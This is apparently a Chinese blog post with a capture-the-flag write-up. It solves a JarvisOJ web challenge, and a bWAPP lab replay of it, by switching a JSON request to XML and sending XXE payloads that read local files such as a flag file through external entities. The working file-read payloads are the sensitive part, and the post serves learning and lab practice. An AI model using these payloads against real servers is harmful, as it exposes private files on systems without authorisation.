题目地址:http://web.jarvisoj.com:9882/
查看网页源码:
可以看到我们点击go后,以json的形式发送了数据。抓包:
我们看到,其实我们输入的内容并没有发送到服务器,而是发送了几个特定的值。
这题的提示是查看flag文件,用到的是XXE漏洞,有几篇原理文章参考一下:
https://security.tencent.com/index.php/blog/msg/69
http://www.freebuf.com/articles/web/126788.html
http://www.mottoin.com/92794.html
XXE漏洞就是服务器接受从客户端发送来的xml格式数据时,xml数据中恶意的引用了外部实体,将它的值绑定为服务器的目标文件,这样在服务器返回给我们解析后的值时,就会把目标文件的内容返回给我们,我们就读取了敏感文件。
但是这道题目,默认的是json格式传递,因此首先我们更改Content-Type的值为application/xml,然后传入xml代码:
<?xml version=”1.0″?>
<!DOCTYPE abcd[
<!ENTITY any SYSTEM “file:///home/ctf/flag.txt”>]>
<something>&any;</something>
得到flag
为了进一步理解xxe漏洞的使用,我有在beebox测试环境中进行了测试,我在文件/home/bee/ctf/falg.txt中写入了hellowbabyclark,现在的目标是读取到这个文件的内容,打开xxe漏洞测试的首页:
点击按钮抓包:
可以看出是服务器对<reset><login>的位置的内容解析后返还给浏览器显示,所以我们只要在这个位置写入外部实体引用即可:
<?xml version=”1.0″?>
<!DOCTYPE a[
<!ENTITY xxe SYSTEM “file:///home/bee/ctf/flag.txt”>
]>
<reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
Got it!
大概就先学习这么多吧,写到这道xxe漏洞的题目时,微信的XXE漏洞刚刚被报出来,有兴趣的可以看下,xxe部分基本就是这个原理。
后天考数据结构,最后一门啦!!!
文章同步到我的博客: http://www.zjzhhb.com/archives/454
转载指明出处